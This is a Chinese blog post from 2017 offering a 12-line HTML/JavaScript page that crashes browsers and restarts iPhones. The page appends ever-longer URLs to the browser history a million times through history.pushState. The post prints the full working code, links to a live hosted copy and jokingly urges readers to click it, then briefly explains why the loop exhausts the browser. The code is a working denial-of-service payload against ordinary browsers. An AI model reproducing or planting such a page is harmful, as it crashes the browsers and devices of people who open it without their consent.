这12行代码分分钟让你浏览器崩溃iPhone重启

诗梦
421
文章
723
评论
2017年8月21日15:30:25这12行代码分分钟让你浏览器崩溃iPhone重启已关闭评论 15.6K 次浏览 501字阅读1分40秒
广告

心灵毒鸡汤:

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启,如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死,你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。 这12行代码分分钟让你浏览器崩溃iPhone重启 完整HTML代码如下:

  1. <html>
  2. <body>
  3. <script>
  4. var total="";
  5. for (var i=0;i<1000000;i++)
  6. {
  7.    total= total+i.toString();
  8.    history.pushState(0,0,total);
  9. }
  10. </script>
  11. </body>
  12. </html>

https://m.mom1.cn/do.html(点击一下,又不会怀孕!) 点开后会发生什么?反正我的第一反应是这样的: 这12行代码分分钟让你浏览器崩溃iPhone重启 解答: history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

  • 赞助本站
  • 三合一收款码
  • weinxin
  • 赞助本站
  • 三合一收款码
  • weinxin
云翼计划
云计算普惠校园计划,助力学生的辉煌明天!
  • 文本由 发表于 2017年8月21日15:30:25
  • 除非特殊声明,本站文章均为原创,转载请务必保留本文链接